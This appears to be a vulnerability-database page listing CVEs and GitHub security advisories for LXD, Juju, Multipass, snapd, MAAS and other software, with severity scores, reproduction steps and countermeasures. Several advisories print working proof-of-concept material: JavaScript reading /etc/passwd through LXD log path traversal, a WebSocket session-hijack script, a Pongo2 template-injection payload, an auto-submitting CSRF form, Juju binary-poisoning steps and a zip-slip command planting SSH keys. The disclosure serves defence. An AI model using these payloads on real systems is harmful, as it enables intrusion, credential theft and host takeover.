Where
AND
-Infinity
0
Severity
8.5
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

A path traversal vulnerability in LXD allows an attacker to achieve arbitrary host file read or unconstrained file creation. When processing image metadata templates, LXD fails to properly sanitize or restrict template file paths from escaping the instance templates directory (specifically affecting virtual machine / QEMU driver execution paths). An attacker can exploit this flaw by providing a crafted image archive with malicious template directives containing path traversal sequences, causing LXD to access or write files outside the intended template directory on the host system.

First published (updated )
Severity
7.8
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

IBM Informix Dynamic Server 14.10, and 15.0 contain a local privilege escalation vulnerability in the oninit setuid-root utility.

1 / 2
Source: MITRE
First published (updated )
Severity
7.3
OS Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

IBM Informix could allow an unauthenticated user to execute arbitrary commands with service account privileges on the system due to improper validation of user supplied input.

1 / 2
Source: IBM
First published (updated )
Severity
8.4
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

A sandbox confinement bypass vulnerability exists in Canonical snapd within its internal execution environment compiler (snap-confine). The default seccomp security templates generated by the engine to restrict system calls do not filter or reject process operations capable of creating or manipulating file execution flags with set-user-ID attributes. Consequently, an application running within a strictly confined snap environment can successfully compile or drop binaries and apply setuid properties to them. If a compromised or malicious process inside the snap sandbox executes these generated setuid binaries, it can potentially circumvent architectural sandboxing assumptions, drop intended restriction policies, or execute privileged actions inside the container namespace that should otherwise be strictly blocked. The vulnerability has been resolved by hardening the seccomp template engine to block the execution and creation of setuid executables by sandboxed snap processes.

1 / 2
Source: Launchpad
First published (updated )
Severity
7.2
EPSS
0.63%
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

A privilege escalation vulnerability exists in LXD from 6.0 before 6.9, 5.21.0 before 5.21.5, and 5.0.0 before 5.0.7 regarding the handling of project-restriction policies during snapshot restoration.. An authenticated project operator in a restricted multi-tenant environment can bypass policy restrictions by importing a maliciously crafted instance backup containing restricted configuration keys within a snapshot. When the snapshot is restored, these restricted keys are applied to the live instance without policy validation. Starting the modified instance grants the operator unauthorized host root access.

First published (updated )
Severity
7.8
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Last updated 5 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
7.8
Use After Free, Race Condition
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Last updated 5 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
7.8
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

An issue was discovered in Canonical Multipass for macOS before version 1.16.3 due to an incomplete fix for CVE-2025-5199. While the patch in version 1.16.0 updated the ownership of the multipassd daemon binary to root:wheel, five co-located binaries (multipass, qemu-img, qemu-system-aarch64, qemu-system-x8664, and sshfsserver) in /Library/Application Support/com.canonical.multipass/bin/ retain ownership by the installing user and remain writable. Because the root LaunchDaemon (com.canonical.multipassd.plist) configures a PATH environment variable that prioritizes this user-writable directory and invokes these auxiliary binaries by their bare names, a local attacker can replace an auxiliary binary (such as qemu-img) with a malicious wrapper. When the root daemon subsequently triggers the binary during routine execution (e.g., via multipass launch), the malicious code executes with root privileges, leading to local privilege escalation.

First published (updated )
Severity
8.4
Path Traversal
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

An issue was discovered in Canonical Multipass before version 1.16.3. The host-side SFTP server component (sshfsserver), which executes with root privileges on the host, contains a path containment bypass vulnerability within its validatepath function in src/sshfsmount/sftpserver.cpp. The function performs a plain string prefix comparison on requested paths without path separator validation or dot-dot (..) normalization. A local attacker with root privileges inside a guest virtual machine can bypass the FUSE layer by injecting raw SFTP frames (such as an SSHFXPOPEN request) directly into the sshfsserver process stdin/stdout pipes via procfs. By supplying a path containing directory traversal sequences that match the allowed mount prefix, the attacker can force the host-side root process to resolve the traversal and open files outside the designated mount boundary. This allows a guest-side user to read arbitrary files on the host filesystem, resulting in a virtual machine escape.

First published (updated )
Severity
7.8
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

crypto: algifaead - Revert to operating out-of-place

1 / 5
Source: Microsoft
First published (updated )
Severity
7.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Any authenticated user, machine or controller under a Juju controller can modify the resources of an application within the entire controller.

This one is very straightforward to just read in the code:

Step 1: The authorisation mechanism for the resource handler is defined here. One is only required to have been authed as either a user, machine or controller to pass this check. One requires no permissions on the controller nor does one need any further permissions on the models themselves.

This handler is available under the following path format /:modeluuid/applications/:application/resources/:resources. See here. The handler defines no authorizer as supported by the handler struct here.

One needs to know the following three bits of information to poison the resource cache on the controller: - model uuid - application name in the model - resource name in the model

Given that a lot of deployments use the charm name for applications and the resources for charms are published on charm hub, this is a very low bar to meet, only requiring the model uuid.

Step 2: If one passes the very basic authz check of step 1, one is now allowed free rein for 'PUT' and 'GET' methods to the handler. This security report will only focus on 'PUT' as it is the most interesting. The 'PUT' handler will gladly take whatever is uploaded to it as long as it has the same file extension defined by the resource.

If the resource already exists in the controller's cache, it will be uploaded with whatever is supplied by the upload, see here and here.

That is it. One can successfully poison the resource cache for any model in the controller.

PoC A proof of concept has not been done for this because it is so obvious from the code read that it is not deemed necessary.

A realistic example of how this can be used: if there is a compromised workload in Juju that has machine credentials, then one can modify the OCI resources for any other model in the controller. For example, if the controller was running a k8s vault, one could change the docker image in use to a trojan horse version that allows obtaining root access to all the vault secrets.

Once this poison has been performed, the attacker can then leverage the vault secrets to go other places.

Impact Any charm deployment where a resource could be modified to inject security vulnerabilities into another workload. The most obvious is OCI containers as one gets execution escalation, but if a file resource had security controls in it, this could also be leveraged. For the file case, this would need to be examined on a case-by-case basis.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.05%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy. Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.

Details

When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.

Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.

PoC

Tested: - two applications in the same controller, same model: one owns the secret, another get a grant - relation between them - secret grant - Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI

Not tested: - admin (user) secrets - cross-model relations - cross-controller relations

command ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value" secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0 ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0 ingress2/0: workload-version: 24.2.0 opened-ports: [] charm: ch:amd64/nginx-ingress-integrator-203 leader: true life: alive relation-info: - relation-id: 11 endpoint: ingress related-endpoint: ingress application-data: {} related-units: evilator/0: in-scope: true data: egress-subnets: 10.152.183.39/32 ingress-address: 10.152.183.39 private-address: 10.152.183.39 - relation-id: 10 endpoint: nginx-peers related-endpoint: nginx-peers application-data: {} local-unit: in-scope: true data: egress-subnets: 10.152.183.135/32 ingress-address: 10.152.183.135 private-address: 10.152.183.135 provider-id: ingress2-0 address: 10.1.0.100 ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11" ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now" updating secrets: permission denied ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0" nice: who-is-nice-now

When the grantee attempts to update the the granted secret:

- secret-set command logs an error, though returns OK return status - the secret value is updated - new secret revision is not created - new value is visible to both owner and grantee

Impact

- the application that owns the secret - a third application, if a secret is granted to multiple parties - any other application that has secrets in the same Kubernetes secret backend

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
EPSS
0.03%
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

An authorization bypass vulnerability in the Vault secrets back-end implementation of Juju versions 3.1.6 through 3.6.18 allows an authenticated unit agent to perform unauthorized updates to secret revisions. With sufficient information, an attacker can poison any existing secret revision within the scope of that Vault secret back-end.

1 / 2
Source: MITRE
First published (updated )
Severity
7.8
EPSS
0.01%
AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Last updated 25 March 2026

1 / 3
Source: Ubuntu
First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

NVIDIA TAO contains a vulnerability where an attacker may cause a resource to be loaded via an uncontrolled search path. A successful exploit of this vulnerability may lead to escalation of privileges, data tampering, denial of service, information disclosure.

First published (updated )
Severity
7.7
Input Validation
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

An Improper Input Validation vulnerability exists in the user websocket handler of MAAS. An authenticated, unprivileged attacker can intercept a user.update websocket request and inject the issuperuser property set to true. The server improperly validates this input, allowing the attacker to self-promote to an administrator role. This results in full administrative control over the MAAS deployment.

First published (updated )
Severity
7.1
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Impact Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instancelogs.go in the LXD 5.0 LTS series.

This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier.

However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it.

Implementation in vulnerable versions (LXD 5.0 LTS series):

https://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instancelogs.go#L152-L163

This function allows filenames starting with snapshot or migration, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows:

Implementation in fixed versions (LXD 5.21 and later):

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L665-L679

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/shared/util.go#L833-L835

This function ensures that filenames do not contain /, \, or .. .

Note that in Linux generally, path traversal like /notexistfolder/../existfolder/ is rejected within system calls and doesn't succeed.

However, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand.

Related part of instanceLogGet function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L218-L269

Related part of instanceLogDelete function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L331-L347

In the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName.

Reproduction Steps

All reproduction steps for this finding must be performed on LXD 5.0.

1. Log in with an account having access to LXD-UI 2. Open browser DevTools and execute the following JavaScript to attempt path traversal attack:

js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousLogFile = encodeURIComponent('snapshot../../../../../../../../../../etc /passwd'); const response = await fetch(/1.0/instances/${instanceName}/logs/${maliciousLogFile} ?project=${projectName}, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })();

Description (2) A similar issue also exists in the validExecOutputFileName function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L681-L688

For exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified. However, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack.

Reproduction Steps (2)

1. Open terminal in instance using LXD-UI and create symbolic link:

ln -s /etc/passwd execXXX-symlink.stdout

2. Execute the following JavaScript in browser DevTools to read files via symbolic link:

js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousExecFile = encodeURIComponent(exec../../../../../../../../../../../var/ snap/lxd/common/lxd/storage-pools/${projectName}/containers/${ instanceName}/rootfs/root/execXXX-symlink.stdout); const response = await fetch(/1.0/instances/${instanceName}/logs/exec-output/${malic iousExecFile}?project=${projectName}, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })();

This technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem.

Risk This vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host.

This could lead to leakage of the following information: -​ LXD host configuration files (/etc/passwd, /etc/shadow, etc.) -​ LXD database files (containing information about all projects and instances) -​ Configuration files and data of other instances -​ Sensitive information on the host system

Countermeasures Since this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions:

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - Not critical |

References Reported by GMO Flatt Security Inc.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Impact LXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.

Therefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges.

Reproduction Steps

1. Log in to LXD-UI using an account with read-only permissions 2. Open browser DevTools and execute the following JavaScript code

Note that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.

js (async () => { class LXDEventsSession { constructor(callback) { this.wsBase = wss://${window.location.host}/1.0/events?type=operation&all-p rojects=true; this.eventsConn = new WebSocket(this.wsBase); this.eventsConn.onopen = (event) => { console.log('Events conn Opened'); }; this.eventsConn.onmessage = (event) => { callback(event); }; }} class LXDWebSocketSession { constructor(operationId, secrets) { this.operationId = operationId; this.secrets = secrets; this.wsBase = wss://${window.location.host}/1.0/operations/${operationId}/w ebsocket; this.connections = {}; this.connections.data = new WebSocket(${this.wsBase}?secret=${this.secrets['0']}); this.connections.data.onopen = (event) => { console.log('Data Opened'); this.connections.data.send(new TextEncoder().encode('touch /tmp/xxx\r')); } this.connections.data.onmessage = (event) => { console.log('[Data]', event.data); }; this.connections.control = new WebSocket(${this.wsBase}?secret=${this.secrets.control}); this.connections.control.onopen = (event) => { console.log('Control Opened'); } this.connections.control.onmessage = (event) => { console.log('[Control]', event.data); }; } close() { Object.values(this.connections).forEach(ws => { if (ws.readyState === WebSocket.OPEN) { ws.close(); } }); } } const sessions = []; new LXDEventsSession( (event) => { const op = JSON.parse(event.data); const opId = op.metadata.id;const secrets = op.metadata.metadata.fds; for(const session of sessions){ if(session.operationId === opId){ return; } } sessions.push(new LXDWebSocketSession(opId, secrets)) }); })();

5. Have another user (or yourself for testing) start a terminal or console session on an instance At this time, whoever uses the secret first gains session rights, so it's recommended to intentionally slow down communication speed using DevTools' bandwidth throttling feature for verification. 6. Refresh the attacker's browser tab to stop event listening 7. Have the victim reopen their terminal/console session and verify:

$ ls -la /tmp/xxx

Risk Attack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.

Countermeasures As a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.

Specifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Impact In LXD's instance snapshot creation functionality, the Pongo2 template engine is used in the snapshots.pattern configuration for generating snapshot names. While code execution functionality has not been found in this template engine, it has file reading capabilities, creating a vulnerability that allows arbitrary file reading through template injection attacks.

Reproduction Steps

1. Log in to LXD-UI with an account that has permissions to modify instance settings 2. Set the following template injection payload in the instance snapshot pattern:

{% filter urlencode|slice:":100" %}{% include "/etc/passwd" %}{%endfilter %}

Note that the above template uses the Pongo2 template engine's include tag to read system files. It also uses urlencode and slice filters to bypass character count and type restrictions.

3. Set scheduled snapshots to run every minute and wait for snapshot generation 4. Wait about a minute and confirm that file contents can be obtained from the created snapshot name

Risk The attack requires having configuration change permissions for LXD instances. The attack allows reading arbitrary files accessible with LXD process permissions. This could lead to leakage of the following information: -​ LXD host configuration files (/etc/passwd, /etc/shadow, etc.) -​ LXD database files (containing information about all projects and instances) -​ Configuration files and data of other instances -​ Sensitive information on the host system

Countermeasures Pongo2 provides mechanisms for sandboxing templates.

Template sandboxing (directory patterns, banned tags/filters) ( https://github.com/flosch/pongo2/tree/master?tab=readme-ov-file#features )

This functionality allows banning specific tags and filters by generating a custom TemplateSet.

At minimum, the following tags are considered to pose a risk of file leakage on the LXD host when used. Therefore, banning these can provide countermeasures against file reading attacks. -​ include -​ ssi -​ extends -​ import

The deny-list approach is prone to vulnerability recurrence due to missed countermeasures or new feature additions. Therefore, as the safest approach, we recommend using an allow-list format to permit only necessary functions.

However, as far as our investigation shows, pongo2 does not have functionality to retrieve a list of registered tags or filters, nor does it provide means to implement an allow-list approach. Therefore, it is necessary to either forcibly obtain the registration list through reflection and ban anything not on the allow-list, or ban everything from the current implemented list since the library has not been updated for about two years.

In LXD's implementation, template injection attacks can be prevented by modifying the RenderTemplate function in shared/util.go to use a restricted TemplateSet as shown above.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
CSRF
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Description OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.

However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.

Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when Content-Type is text/plain or application/x-www-form-urlencoded, CSRF attacks exploiting HTML form submissions are possible.

Reproduction Steps 1. Prepare a malicious website controlled by the attacker 2. Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:

This exploit code automatically sends a JSON string as text/plain to create an instance when rendered.

Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. This is typically set in the default profile of projects created after storage pool creation.

html <html> <body> <form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form"> <input type="hidden" name='{"' id="input"> <input type="submit"> </form> <script> const i = document.getElementById('input'); i.value = ":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}; document.getElementById('form').submit(); </script> </body> </html>

3. Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2 4. Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started

Risk The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.

Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.

Countermeasures The most effective countermeasure is to strictly enforce Content-Type validation at API endpoints. Specifically, change the implementation to reject requests when Content-Type is not application/json. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.

Additionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Fixed in LXD 5.0.5 | | 4.0 | Ignored - No web UI |

References Reported by GMO Flatt Security Inc.

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

In Canonical Multipass up to and including version 1.15.1 on macOS, incorrect default permissions allow a local attacker to escalate privileges by modifying files executed with administrative privileges by a Launch Daemon during system startup.

First published (updated )
Severity
8.8
Malicious File Upload
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary You can affect the agent binaries used in a Juju controller and the code that is run in the binaries by simply having a user account on a controller. You aren't required to have a model or any permissions. This just requires a user account in the controller database.

Details Because of the way Juju upload tools code works in the controller it only checks that the user uploading agent binaries is authenticated and is a user tag. No more checks are performed and it allows that user to upload binaries to any model they like (as long as they know the model uuid) or upload binaries to the controller (attacker doesn't need to know any uuid's for controller or controller model).

Once the poison binaries have been uploaded any new machine that is started in the affected model or controller will get started with the poison binaries. Alternatively administrator's of the controller running either juju upgrade-controller or juju upgrade-model will force distribution of the poisoned binaries to all machines in either the model or poison the controllers themselves.

On top of this the exploit can be done with the Juju client tooling itself and no real knowledge on constructing raw API requests is required.

The tools handler is the main piece of code that is used in the APIServer for handling upload requests and persisting the data uploaded: The following code references is how Juju uses and defines this: - The tools upload handler is defined here (https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L972) - The tools upload handler is created in the api server here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L766C2-L766C25). - The main authoriser that is used for the upload handler is created here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L770C2-L770C28) - The upload handler is registered for the model here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L902) - The upload handler is registered for the controller here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L972)

The authoriser that is used (https://github.com/juju/juju/blame/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/httpcontext.go#L209) only confirms that the logged in user is authenticated and authenticated as a user tag. No other checks are performed.

The toolsUploaderHandler also uses another server func for getting the Mongo state. This also confirms a logged in user but the state that is returned to the caller is scoped to whatever model the requester has asked for. No checks are performed to make sure that the user in question actually has access to this model or the controller. See code here (https://github.com/juju/juju/blob/4e50a28cdde17832aa31634915fbe7442dca6ab3/apiserver/httpcontext.go#L38). We end up here through a few layers of indirection of https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L768

We can also see that when handlers are registered with no model uuid scope in the handler like the controller registration of the tools upload handler, the model uuid gets defaulted to that of the controller model. See (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L690).

PoC This proof of concept was done with the latest tip of the juju/juju 3.6 branch (https://github.com/juju/juju/commit/cd12b4951d657a980e113564bf2ea82f167589fd). Pull this code and work from inside of the root of the code base. It is expected that this security issue applies to 2.9 onwards as well.

Repo steps:

1. Bootstrap a new controller to lxd. This was done with a compiled client from the branch but there is no reason performing this action from latest snap won't produce the same result. juju bootstrap localhost sec-demo

2. Add a new user to the controller. This is the user with no permissions or models that we will prove the problem with. juju add-user poisoner poisoner

3. From step 2 save the registration string that the juju client prints out.

4. We are going to remove the local juju admin credentials and information that was made during bootstrap. We will use this later on for confirming the attack. mv ~/.local/share/juju /tmp/juju-bak

5. Run the juju cli registration command for the new user that was saved from step 3. Set the new password to whatever you wish and then re-enter to login into the controller. After this step we are now logged in as an unprivileged user to the controller.

6. Apply the following patch to the currently checked out juju code base: cat <<EOF | git apply - diff --git a/cmd/jujud/main.go b/cmd/jujud/main.go index f268509a52..1b01a74b66 100644 --- a/cmd/jujud/main.go +++ b/cmd/jujud/main.go @@ -315,6 +315,16 @@ func Main(args []string) int { os.Exit(exiterr) }

+ logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("Got access to the binary") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + var code int commandName := filepath.Base(args[0]) switch commandName { diff --git a/version/version.go b/version/version.go index 2bbc8968c8..40af52f337 100644 --- a/version/version.go +++ b/version/version.go @@ -18,7 +18,7 @@ import ( // The presence and format of this constant is very important. // The debian/rules build recipe uses this value for the version // number of the release package. -const version = "3.6.6" +const version = "3.6.7"

// UserAgentVersion defines a user agent version used for communication for // outside resources. EOF

7. Set bogus model information. To make the sync-agent-binary command work below we need to set a bogus model that is in use by the client. This is done through the local models.yaml file. The uuid featured here does not matter at and can be set to anything that parses as a uuid in juju. This is just to trick the client tooling, the attacker could just manually construct the http request their self to bypass this. cat <<EOF > ~/.local/share/juju/models.yaml controllers: sec-demo: models: admin/controller: uuid: 4dde46dd-a514-491e-8a5f-b908b5310c02 type: iaas branch: "" current-model: admin/controller EOF

8. Next build the changes with make simplestreams. 9. The output of step 9 will provide an export command to run. Please execute this command to point the juju client at your local simple streams cache. 10. Next sync the compiled agent binaries from step 9 to the controller with juju sync-agent-binary --debug --agent-version 3.6.7.

At this stage the controllers agent binary cache has been poisoned and the security issue has been proven.

11. We can now swap back to the administrator user to start forcing binary circulation. mv ~/.local/share/juju /tmp/juju-poison and then mv /tmp/juju-bak ~/.local/share/juju

At this stage the issue can be demonstrated with just a simple juju upgrade-controller and a controller upgrade will kick off. You can also upgrade a model. When I was testing this my upgrade-controller failed to shut down the controller for reasons unrelated to this security issue. I was able to log into the controller and confirm with sha256sum that the controller had downloaded the new binaries and the checksums matched. They were also symlink as the new binaries to run for machine-0. This was under /var/lib/juju/tools on the controller machine.

It would also be possible to affect new machines coming up in a model by repeating the steps above but changing the version to that of the model that you want to be poisoned.

Impact This is a bad vulnerability in my opinion. It allows a user with no permissions to eventually consume an entire juju controller with poisoned binaries and gain access to all of the infrastructure and secrets on that controller. Through model migration it would also be possible to poison other controllers that the user doesn't have access to.

This also requires that an administrator upgrade or migrate aspects of the controller. But a bad actor could affect brand new machines coming up in the system straight away.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Impact

Any user with a Juju account on a controller can upload a charm to the /charms endpoint. No specific permissions are required - it's just sufficient for the user to exist in the controller user database. A charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.

Details

A controller exposes three charm-related HTTP API endpoints, as follows: - PUT/GET https://<controller-ip>:17070/model-<model-uuid>/charms/<nameofcharm>-<hashofcharm> - POST/GET https://<controller-ip>:17070/model-<model-uuid>/charms - GET https://<controller-ip>:17070/charms

These endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.

To reproduce:

juju bootstrap juju add-user testuser juju change-user-password testuser

Download the ZIP file of an arbitrary charm eg https://github.com/juju/hello-juju-charm

Download and install the following tool: https://github.com/usdAG/slipit

Run the following command to generate a new SSH key pair: ssh-keygen

Copy the contents of the newly created public key into a file called authorizedkeys

Run the following command to inject the malicious path into the ZIP file: slipit hello.zip authorizedkeys --separator ../../../../../../home/ ubuntu/.ssh/

